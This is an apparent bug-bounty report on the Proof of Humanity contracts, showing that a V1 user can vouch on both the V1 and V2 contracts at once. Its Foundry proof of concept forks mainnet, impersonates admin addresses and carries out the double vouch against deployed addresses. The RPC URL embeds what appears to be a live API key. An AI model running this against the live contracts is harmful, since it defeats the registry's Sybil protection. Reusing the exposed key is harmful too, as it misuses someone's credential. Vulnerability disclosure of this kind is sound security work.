V1 Users Can Vouch on Both V1 and V2 Contracts Simultaneously, Bypassing Vouching Restrictions

[hats-bug-reporter]

Github username: @0xmahdirostami
Twitter username: 0xmahdirostami
Submission hash (on-chain): 0x7e27296a06e332e1d3ede19c3691a847d6faa0f326f19ec11a29bd1a69cc880d
Severity: medium

Description:

Vulnerability Detail

The vulnerability lies in the advanceState function, which is supposed to ensure that users can only vouch for one Humanity ID at a time to prevent abuse. However, the function only checks if a user has already vouched on the V2 contract and fails to account for vouches made on the V1 contract.

This oversight allows a v1 user to vouch for a Humanity ID on V1 and v2 contract Simultaneously. This effectively bypasses the vouching restriction, allowing users to vouch for multiple claims at the same time across different contract versions.

Proof of Concept

Below is a test case that demonstrates this vulnerability:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {ProofOfHumanityExtended} from "./../contracts/extending-old/ProofOfHumanityExtended.sol";
import {ProofOfHumanityOld} from "./../contracts/extending-old/ProofOfHumanityOld.sol";

import {ForkModule} from "./../contracts/extending-old/ForkModule.sol";
import {Test, console} from "forge-std/Test.sol";

contract testest is Test {
    ProofOfHumanityExtended dappExtened;
    ProofOfHumanityOld dappOld;
    ForkModule dappFork;
    address PROOF_EXTENDED = 0x87c5c294C9d0ACa6b9b2835A99FE0c9A444Aacc1;
    address PROOF_LEGACY = 0xC5E9dDebb09Cd64DfaCab4011A0D5cEDaf7c9BDb;
    address FORK_ADDRESS = 0x116cB4077afbb9B5c7E0dCd5fc4Ce943Ab624dbF;
    address V1_USER = 0x9359E6A126d25D75F73669B29ca666df12D834D7;
    address V2_USER = address(0x123);
    bytes20 V2_USER_HUMANITY = bytes20(V2_USER);
    address V1_ALICE = address(0x1231321321);
    address[] vouchesv1;
    uint256[] _expirationTimestamps;
    bytes[] signsV1;
    address[] vouches;
    ProofOfHumanityExtended.SignatureVouch[] signs;

    function setUp() public {
        vm.selectFork(vm.createFork("https://eth-mainnet.g.alchemy.com/v2/fV8cUeLgLQfDIH3Mn5DgQKjevwy03fvr", 20620123));
        dappExtened = ProofOfHumanityExtended(PROOF_EXTENDED);
        dappOld = ProofOfHumanityOld(PROOF_LEGACY);
        dappFork = ForkModule(FORK_ADDRESS);
        vm.deal(V1_USER, 100 ether);
        vm.deal(V1_ALICE, 100 ether);
        assert(dappFork.isRegistered(V1_USER) == true);
        vm.prank(address(0x03C640F8D650a437c10f1Ae7b27776b6AeC89224));
        dappExtened.changeRequiredNumberOfVouches(1);

        vm.prank(address(0x327a29fcE0a6490E4236240Be176dAA282EcCfdF));
        dappOld.changeRequiredNumberOfVouches(1);
    }

    function testF() public {
        // v1 old
        // Alice request to claim
        vm.prank(V1_ALICE);
        dappOld.addSubmission{value: 10 ether}("first", "first");
        // v1 user voches for it
        vm.prank(V1_USER);
        dappOld.addVouch(V1_ALICE);
        // v1 advance state (vouch used)
        vouchesv1.push(V1_USER);
        _expirationTimestamps.push(100000000);
        dappOld.changeStateToPending(V1_ALICE, vouchesv1, signsV1, _expirationTimestamps);

        // v2
        // v2 user request to cliam
        vm.prank(V2_USER);
        dappExtened.claimHumanity{value: 10 ether}(V2_USER_HUMANITY, "first", "first");
        // v1 user again vouch here
        vm.prank(V1_USER);
        dappExtened.addVouch(V2_USER, V2_USER_HUMANITY);
        // v2 advance state (vouch used again)
        vouches.push(V1_USER);
        dappExtened.advanceState(V2_USER, vouches, signs);
    }
}

As you could see V1_USER vouch in v1 and v2 for different users Simultaneously.

[0xmahdirostami]

@clesaege Please ignore this issue, i resubmit it with more details in #164